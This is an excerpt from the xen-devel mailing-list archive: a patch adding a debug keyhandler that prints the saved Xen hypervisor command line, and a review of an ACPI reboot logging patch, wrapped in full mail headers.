Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
        julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
        sstabellini@kernel.org, dmukhin@ford.com
Subject: [PATCH v1] keyhandler: add handler to show Xen command line
Date: Wed, 29 Jul 2026 23:15:00 -0700
Message-ID: <20260730061459.2702672-2-dmukhin@ford.com>
X-Mailer: git-send-email 2.54.0
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
PSER-M365-App: SER-APP
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-30_01,2026-07-29_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 adultscore=0
 spamscore=0 malwarescore=0 bulkscore=0 lowpriorityscore=0 suspectscore=0
 phishscore=0 classifier=typeunknown authscore=0 authtc= authcc=
 route=outbound adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607300041
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: SJ1PEPF000023CE:EE_|LV8PR16MB6671:EE_
Content-Type: text/plain
X-MS-Office365-Filtering-Correlation-Id: e0894cb2-2631-47c5-dc06-08deee020b76
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|36860700016|82310400026|1800799024|376014|56012099006|13003099007|10067099003|18002099003|6133799003|11063799006;
X-Microsoft-Antispam-Message-Info:
	2E9+fTOW99w0MlZrpclvFcL9a9A0jqXu+nBi9bCthv5/NGyGoOJYQcWb1bfmHKTxxz5vK6ZLrJF6fLWBE9W6eEWcY+o24rQIB1RwTE3ZKH75uQbgmMstkTh90/myw366HwGN3H/QJTimE+zur1Q/dZonRwhFp7GKPxrfBTIp50egQlb/mkiltBjlNhJGUuygHXQgKvl+j+I5sSOD929v2/hpiZLSVjBk8t03PjHyY3UT3sW3KEK7GLpHJmcGb0l3g19gMdafroNQUVQn+AXPme2c9dy/md9ZbeiFOekNwFIpWB7uXjDSvRqHBBqmYwP2MXM2GW8EgU/xtxhXygyoLL7FpOf6cO2aOwnSNOrJEf4/LJ9dR/pPx5FdYJKIWJq2TaO3WrbI+j/VTsDziBK0CfRnPlBtA027HKLaIHuGneevrFsg7Lf47WWty7E+TyLlw2LlH0Ea0MajSupNMIuZMcOnus+NPcrZ5a6LffzOXUzaw1eLhVCpV0Ce73RMOF7B6evyWCt/UrWBxKTxuWXkseSafxxOiTrkBXUz8cZkPD9bfRCWUKaGmHxdbhWspQHmLe+0to0K0S2rFA9KsU1XBmymiifDr7KVnXgCCyrJpxl+WvFZIMF0dSVzc1VgRbRuhxw4/VTAFfF6C74J1xBFcSpFeZuNQlspH6TqZcv3Ux2XB/bOktK6li64wDj/kEGRMfYXNWza/JqxxtKhhQ6uog==
X-Forefront-Antispam-Report:
	CIP:205.220.161.53;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mx0a-00498f04.pphosted.com;PTR:mx0a-00498f04.pphosted.com;CAT:NONE;SFS:(13230040)(23010399003)(36860700016)(82310400026)(1800799024)(376014)(56012099006)(13003099007)(10067099003)(18002099003)(6133799003)(11063799006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	dl30sk0aKtDcb/sn1/KrFebKxCu0v7uy3F6D5u1VWbARXokitYguA9Evu77Rixm6FMGYlrhzeaSx0PIXijdL/uJ2JKGfoOLqVbSOqckdyycV1FtYMV/1IxmTd0OqjPnhaM5+cdBZSH+/qYjQ2cqVy5ajvPPKhYfpSFlZDpu08Q2sBmBSVC4SDF22O8mIfg4rKCvh76XhKWV4ilP47ykYrJ/+IS0b/pgvDsD6WVGKWY8ZvVJa0/GcT0gkZq+E/WRXSmo9oonCT8z5ob+0UnCnyjtJdDgvXj3jPPbAEKFhVxOqMX+61IetzFk1VzUn+TwG8vewMyFmc0h1kY1wO0LgPw7XdWFfXowYhhgWjCiRYQyt+CvJ8QNey3jMIcmwvZV3VERSvyKVXfZvADGxELgrI+sLE61FtX4Nk3SuU9TbIgUxOpEhV2KrZSwMaT/XvqPX
X-Exchange-RoutingPolicyChecked:
	pnEBsfIQeewSmH1/wcBx19SfKA3h6QiFZp1EzAk3J29GvHQHsxfvALQs55pWs/iYAdEPBJwQCm7wdikIM5/Y7qttOqzVVrvRHnBODAq8QQ5448yF3e54PWHErgAqpyJr8C3knTpf8FOWYJiiGWoDM3Bp6jcapl/XTq12JV1qlLM93maBRKJvlHRHWp1ugpN8dXeuw6aDAzrlXhK1SIy9ADHZYczDc6wC34MokzfNIK1xoAgQmClyMznqSuVAO+y0vmZu+qyMGfD3QJEYoHLQz/V/9GXzOJnr1UUhQ4ih0gBZmKHdCMyKpKKGEeB/8hbhq9OOkNjiU4p4P9a4XrqSuw==
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-0:
	lWl3MqMbFbf+Bk6+dQ8O4CHFIqakTkoYRoyIpz4pXePGZ3naFP5V+vCOhILGA6YGWxOqXmwADms8lwinzceK9I/xB3QcuRkzQViXTSmVEUzjP52LiKtGBzf15h0ar8vcSX1xwopd5BdPw1htbidumtXV3FtVe83vd8EyZAGQw+zy7VUbypXgt61KpR9ecwTlhl9RW4VPtNXnyW3P+PRSmV0Sml3x/nD1cL79Ns0DWR3fB+0kdRatC0/wFVYj02+cl/09MqW/4r66BPmRnCxjZsr3oV93yQvUnTMsMHqTx3npSvfUV0xyuYYatR1NjnIVh9CId9eyx9eIX6TI3rpKVPXuzs9Af+ZsDxHiUGxQNYNlZFvCeu8ysYCz80nByUt7j8DglVoqYURN7YefHHCZxygzc2HrLaYntYU9wcpApb5BEQbIAGe9eOjj+kgIwk1wuyNTSYZSJhwNh5r5aJoq92QuNHuTgI3tPR41J8Yegqm0JFAZmB8mU39ZuSROFHHKmf024j6mSQ8n/IAI8tGSY+n6DH6OFtJOqMmUwExTeoYgktQxpqA4PHHz5BMh5kdXdI72RvIIRgPqQxA51U1d1QL558PdmyL5S73mMA/rqoi9rq+IJ8WdPXrihwitVOWctKKXESuKLiCTK/cwEdv/7Q==
X-OriginatorOrg: ford.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 30 Jul 2026 06:16:08.2375
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: e0894cb2-2631-47c5-dc06-08deee020b76
X-MS-Exchange-CrossTenant-Id: c990bb7a-51f4-439b-bd36-9c07fb1041c0
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c990bb7a-51f4-439b-bd36-9c07fb1041c0;Ip=[205.220.161.53];Helo=[mx0a-00498f04.pphosted.com]
X-MS-Exchange-CrossTenant-AuthSource:
	SJ1PEPF000023CE.namprd02.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: LV8PR16MB6671
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzMwMDA0MiBTYWx0ZWRfX2hM7n93iEsIR
 +iikul5VYWggtnWWaF5BRnMRH3BdnH0AOAU2FekZUisOy+r3rW5WMEF3NG3loQv6Yq2GRjsK7Gf
 xeRE6DJwnXckRUe7yaCgviA2NuRzhAp/xlr+45DEk1N70246607lM/9XEXv8VWO7YDZX2osF95v
 V/gTEVWdaeAukEwzs297pReltt43JZRF53P17eRd57WkgAtVo+y/J7Np/A9PTOjXWtngIS4S9E4
 xfiIfXq/jbc9jtMVJP/TR7Gha9kYhXKNFIDPMqCBKZhcgyV3hyP8FX0ZExWzHTvFieltRKsF72Q
 9JH3bZXj61GKaAcNl4iwtPzf2e5gBgFN8Qmc6vm7gkHwOT9DZFkO0gGdqYI5MQKTNzzOS0zxccn
 Q1XUorThHZJNqeWIWfbI7ScWQCeE9I9Q4d90UgIMjObSRcOft1frKFc8jT2lol8NassessSFlSi
 ZeSn0K6bPDBDer/8ncg==
X-Proofpoint-GUID: C7xYJNt3KUjW2v0-_xJ3jujfJhv8VuSX
X-Authority-Analysis: v=2.4 cv=EYj4hvmC c=1 sm=1 tr=0 ts=6a6aec2c cx=c_pps
 a=fjiyZBo1bxGOeg3e+tCWfg==:117 a=lOEMawUel/sSvQipkIvNbg==:17
 a=6eWqkTHjU83fiwn7nKZWdM+Sl24=:19 a=RAioF0-LDSMA:10 a=3PXLN80vpJUA:10
 a=6NUGLSImWEsA:10 a=w9pew1qAHqMA:10 a=VkNPw1HP01LnGYTKEx00:22
 a=P_n1zlmtWsCQbjROFjcg:22 a=NvsXeTrgx-CJMFV-xl94:22 a=p0WdMEafAAAA:8
 a=cbNQJ9GKAAAA:8 a=PulOWRRJR9CbBUe92eMA:9 a=G69WFyCBNqGPyalROSdv:22
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzMwMDA0MiBTYWx0ZWRfX43HCSwtXds4e
 zhnI/VKx+EC+OwIK6tIiV1gGn+q41mbPZ8ua5ZY8ntYsgRGrGb4IlPpm929K6XfSg/OMznb++NU
 ujdsOqtdpiqy9jr9LaPKAS6MVBY+UZyG3VKwwIHA8GFC5t6krB8l
X-Proofpoint-ORIG-GUID: C7xYJNt3KUjW2v0-_xJ3jujfJhv8VuSX
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-30_01,2026-07-29_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 adultscore=0
 malwarescore=0 clxscore=1015 impostorscore=0 bulkscore=0 lowpriorityscore=0
 priorityscore=1501 phishscore=0 spamscore=0 suspectscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607300042
X-purgate-ID: tlsNG-33051d/1785392174-6DAD44E9-483B6232/0/0
X-purgate-type: clean
X-purgate-size: 3343

From: Denis Mukhin <dmukhin@ford.com> 

Currently there's no way to print Xen command line on the emergency console
for debugging purposes.

Add new keyhander 'C' to add (saved) command line printout for debugging
the system.

Also, fix indentation for KEYHANDLER() entries in 'keyhandler' array.

Signed-off-by: Denis Mukhin <dmukhin@ford.com>
---
CI: https://gitlab.com/xen-project/people/dmukhin/xen/-/pipelines/2717339023
---
 xen/common/kernel.c     |  5 +++++
 xen/common/keyhandler.c | 18 +++++++++++++-----
 xen/include/xen/lib.h   |  1 +
 3 files changed, 19 insertions(+), 5 deletions(-)

diff --git a/xen/common/kernel.c b/xen/common/kernel.c
index fb45f8139995..9718a89d8088 100644
--- a/xen/common/kernel.c
+++ b/xen/common/kernel.c
@@ -232,6 +232,11 @@ void __init cmdline_parse(const char *cmdline)
 #endif
 }
 
+const char *cmdline_get(void)
+{
+    return saved_cmdline;
+}
+
 int parse_bool(const char *s, const char *e)
 {
     size_t len = e ? ({ ASSERT(e >= s); e - s; }) : strlen(s);
diff --git a/xen/common/keyhandler.c b/xen/common/keyhandler.c
index cb6df2823b00..55a370ac1790 100644
--- a/xen/common/keyhandler.c
+++ b/xen/common/keyhandler.c
@@ -28,7 +28,7 @@ static unsigned char keypress_key;
 static bool alt_key_handling;
 
 static keyhandler_fn_t cf_check show_handlers, cf_check dump_hwdom_registers,
-    cf_check dump_domains, cf_check read_clocks;
+    cf_check dump_domains, cf_check read_clocks, show_cmdline;
 static irq_keyhandler_fn_t cf_check do_toggle_alt_key, cf_check dump_registers,
     cf_check reboot_machine, cf_check run_all_keyhandlers;
 
@@ -60,15 +60,17 @@ static struct keyhandler {
     IRQ_KEYHANDLER('*', run_all_keyhandlers, "print all diagnostics", 0),
 
 #ifdef CONFIG_PERF_COUNTERS
-    KEYHANDLER('p', perfc_printall, "print performance counters", 1),
-    KEYHANDLER('P', perfc_reset, "reset performance counters", 0),
+        KEYHANDLER('p', perfc_printall, "print performance counters", 1),
+        KEYHANDLER('P', perfc_reset, "reset performance counters", 0),
 #endif
 
 #ifdef CONFIG_DEBUG_LOCK_PROFILE
-    KEYHANDLER('l', spinlock_profile_printall, "print lock profile info", 1),
-    KEYHANDLER('L', spinlock_profile_reset, "reset lock profile info", 0),
+        KEYHANDLER('l', spinlock_profile_printall, "print lock profile info", 1),
+        KEYHANDLER('L', spinlock_profile_reset, "reset lock profile info", 0),
 #endif
 
+        KEYHANDLER('C', show_cmdline, "show saved command line", 0),
+
 #undef IRQ_KEYHANDLER
 #undef KEYHANDLER
 };
@@ -512,6 +514,12 @@ static void cf_check do_toggle_alt_key(unsigned char key, bool unused)
            alt_key_handling ? "alternative" : "normal");
 }
 
+static void cf_check show_cmdline(unsigned char key)
+{
+    printk("'%c' pressed -> showing saved command line\n", key);
+    printk("%s\n", cmdline_get());
+}
+
 void __init initialize_keytable(void)
 {
     if ( num_present_cpus() > 16 )
diff --git a/xen/include/xen/lib.h b/xen/include/xen/lib.h
index 3c545ff33c61..094873dc8ba6 100644
--- a/xen/include/xen/lib.h
+++ b/xen/include/xen/lib.h
@@ -19,6 +19,7 @@
 
 struct domain;
 
+const char *cmdline_get(void);
 void cmdline_parse(const char *cmdline);
 int parse_bool(const char *s, const char *e);
 
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 30 06:26:55 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 06:26:55 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1377143.1623357 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpKEC-0005pM-3z; Thu, 30 Jul 2026 06:26:48 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1377143.1623357; Thu, 30 Jul 2026 06:26:48 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpKEC-0005pF-1O; Thu, 30 Jul 2026 06:26:48 +0000
Received: by outflank-mailman (input) for mailman id 1377143;
 Thu, 30 Jul 2026 06:26:46 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wpKEA-0005p9-FD
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 06:26:46 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpKE9-007oYh-Ov
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 08:26:45 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6aee87-2eae-0a2a0a5409dd-0a2a450bcc74-48
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 08:26:45 +0200
Received: from [209.85.221.47] (helo=mail-wr1-f47.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6aeea0-b7e8-0a2a450b0019-d155dd2fb194-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 08:26:40 +0200
Received: by mail-wr1-f47.google.com with SMTP id
 ffacd0b85a97d-47ddf7b09aaso1574784f8f.3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 23:26:40 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47fc892cc3asm3396098f8f.23.2026.07.29.23.26.38
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 29 Jul 2026 23:26:39 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785392800; x=1785997600; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=hrkZcRl1wFMUDdyXVg8t0zdbOjNCjIUHfknFDNOwTrw=;
        b=XwCPY/omxYzz/Acc/vjHAlDpNjfC7eWCABQ0T13832eV4SF8atk9PWMKNSvkydXc9G
         /kwINKfsoR28+X5dW469SQ1VluU3b/skLW1LINFOFEJlef8QVekql2CH1ojMdj/NFJ9j
         iHDkYNs/N7O386a044NdrtK3OpIAwliFVkuP+FZcpX3vnHRZaZYsUeRHCtvYTpbHOWFg
         PC9/PUNgBRWrNOYsQw9V1YseqHERO1G5Ov1wkm8SJCyE79/peU/u1KZ0aXY/b4wKQsLF
         WSDzHaKlec2vsEwSShNHdrZdhs+cRe96m3QuPIgY1zD5pZDFZ7C4trbCmc91snQIlCya
         +jGQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785392800; x=1785997600;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=hrkZcRl1wFMUDdyXVg8t0zdbOjNCjIUHfknFDNOwTrw=;
        b=jIBIjJi4+OMyJrLgyv1unm+FGCQIT3XvNq07saK00QL15LwzlG+c2iC36C9Cv21ddt
         VbfzMlTpKC4E7b/pUYG9dfMX0uOuBdCj1MpXGRDwu1Mve5YH3vNz2x9DigZgGtWidzHH
         YE7VH9PXuTcmh3QjaYC1vxifmRdZumSKUxb6QvrNT+/bQ04lw/miOPj0YKRBJ6d7g98K
         tWCLGcToIwbi1tvxkQPt4s3iFp+6GGTneLqBREUDlnjCkbzP2lJQ/TiUiTdJChNbJggt
         TEZfhzC/9WDs7JdRtc8Va6euzUSFvhJYJCpixJpksSTZB9HHTn3C0WcfORtj8zbVD4ff
         MLxw==
X-Forwarded-Encrypted: i=1; AHgh+RpQstxtAOzGJp7X9eAmMhqtdIumLCSfMKDRAANdmuBMaes0+GOZp4RNYKkh+krEM80AQTuZKhMK1eM=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yxp3o2pHegPBCEfk43GTeyNddOKjm0XstlTQo4Lu9w0AhHZhDx/
	gScdSIAS9ojeiQ2zlejFUzSrtK0QlilMsOY7IRi2b6vRarGCBcnxIu88bCQLT2dACw==
X-Gm-Gg: AR+sD13Blf7aeCZ3rQxWuqM3BSHSI41oj75zhbUC++zHzIf41dTbGsWxDhcfVK5M8Fi
	j0TTXEBreYi2CWtPtBj71E0z23L6h0uDL48MSPpVBjN+OypVr0MiolNqndbi6GFlaimEHNfHTK5
	S+YjYyHy63U2mcy0/P5qwiSoePr8VTb85eKMeuIN9YS+Ky8VNDJXsjiLc43/jUQEmG+VCB5wDVT
	7le08u2OdkXQVnUvu+885Wbj8CYKbV6zRSoE35UVEK2YK6XAZ6zzgeelq3/iMZc6CbBm6Ay5GCM
	bxrYlt9NYTU5FiMG0SF2Gbm4JPBtitYEFZzJbROI0t1c2RJXI2aRct02iJv7U79tpFx4StuyQfw
	ZB3VqQFrPcXS5wO6nTbN8dXURBBbWA1ax6F61XXk1xjT7lr6M7NKYPJQXTej3lQMZjHJX3aLw4E
	4QrAey4MpJJE960eQe33moOdsDXx2WnLzg+wyQpoMdNA912RQ4vS3hkTi7lq4x4hbSpORRv1ADu
	1m2GrLxZ2OETsdhRM8EfPS+2Z4GRT2INP0YMEptF4e9evTybxXX
X-Received: by 2002:a05:600c:1f85:b0:495:4d5c:903e with SMTP id 5b1f17b1804b1-49800e7028fmr14398205e9.7.1785392800128;
        Wed, 29 Jul 2026 23:26:40 -0700 (PDT)
Message-ID: <f71e5d41-329e-4859-9744-c390e26bb5f8@suse.com>
Date: Thu, 30 Jul 2026 08:26:38 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] acpi: reboot: log reset parameters
To: dmukhin@ford.com
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, julien@xen.org,
 michal.orzel@amd.com, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger@xenproject.org>, sstabellini@kernel.org,
 xen-devel@lists.xenproject.org
References: <20260730001854.905354-2-dmukhin@ford.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260730001854.905354-2-dmukhin@ford.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-42698a/1785392805-A96C29EA-67002FC0/0/0
X-purgate-type: clean
X-purgate-size: 2468

On 30.07.2026 02:18, dmukhin@ford.com wrote:
> From: Denis Mukhin <dmukhin@ford.com> 
> 
> Xen does not provide much details for system reset debugging in case
> system reset happens via ACPI subsystem.
> 
> Log reset I/O address and reset value.
> 
> While here, fix the missing default case, guard it with
> ASSERT_UNREACHABLE() and drop full stops in the loglines.

On what basis (i.e. thanks to which earlier checks) would this assertion be
legitimate to add? Besides being a wrong use of an assertion, it also breaks
fallback to alternative reboot methods in case one doesn't work.

> --- a/xen/drivers/acpi/reboot.c
> +++ b/xen/drivers/acpi/reboot.c
> @@ -6,6 +6,7 @@ void acpi_reboot(void)
>  {
>  	struct acpi_generic_address *rr;
>  	u8 reset_value;
> +	pci_sbdf_t sbdf;
>  
>  	rr = &acpi_gbl_FADT.reset_register;
>  
> @@ -21,17 +22,24 @@ void acpi_reboot(void)
>  	 * on a device on bus 0. */
>  	switch (rr->space_id) {
>  	case ACPI_ADR_SPACE_PCI_CONFIG:
> -		printk("Resetting with ACPI PCI RESET_REG.\n");
> +		sbdf = PCI_SBDF(0, 0, rr->address >> 32, rr->address >> 16);
> +		printk("Resetting with ACPI PCI %pp RESET_REG at 0x%"PRIx64" (0x%x)\n",
> +			&sbdf, rr->address & 0xffu, reset_value);

As indicated on other occasions - %#x and alike please in favor of 0x%x.

I also see no reason for the 'u' suffix on the literal number. Plus if one
was wanted, it would want to be 'U', to match the Misra-demanded 'L'.

Also - nit: Indentation.

>  		/* Write the value that resets us. */
> -		pci_conf_write8(PCI_SBDF(0, 0, rr->address >> 32,
> -					 rr->address >> 16),
> -				(rr->address & 255),
> -				reset_value);
> +		pci_conf_write8(sbdf, rr->address & 0xffu, reset_value);
>  		break;
>  	case ACPI_ADR_SPACE_SYSTEM_MEMORY:
> -	case ACPI_ADR_SPACE_SYSTEM_IO:
> -		printk("Resetting with ACPI MEMORY or I/O RESET_REG.\n");
> +		printk("Resetting with ACPI MEMORY at 0x%"PRIx64" (0x%x)\n",
> +			rr->address, reset_value);
>  		acpi_hw_low_level_write(8, reset_value, rr);
>  		break;
> +	case ACPI_ADR_SPACE_SYSTEM_IO:
> +		printk("Resetting with I/O RESET_REG at 0x%"PRIx64" (0x%x)\n",
> +			rr->address, reset_value);
> +		acpi_hw_low_level_write(8, reset_value, rr);
> +		break;
> +	default:
> +		ASSERT_UNREACHABLE();
> +		break;
>  	}
>  }

As you're already touching the entire switch(), would you mind also inserting
the missing blank lines between case blocks?

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 06:42:11 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 06:42:11 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1377175.1623367 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpKSx-0000oP-Aq; Thu, 30 Jul 2026 06:42:03 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1377175.1623367; Thu, 30 Jul 2026 06:42:03 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpKSx-0000oI-7n; Thu, 30 Jul 2026 06:42:03 +0000
Received: by outflank-mailman (input) for mailman id 1377175;
 Thu, 30 Jul 2026 06:42:01 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wpKSv-0000oC-NS
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 06:42:01 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpKSu-00GUwL-D0
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 08:42:00 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a6af22e-bab6-0a2a0a5309dd-0a2a450cdf0c-42
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 08:42:00 +0200
Received: from [209.85.208.44] (helo=mail-ed1-f44.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a6af238-f479-0a2a450c0019-d155d02cf1bf-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 08:42:00 +0200
Received: by mail-ed1-f44.google.com with SMTP id
 4fb4d7f45d1cf-698bf053053so2631946a12.3
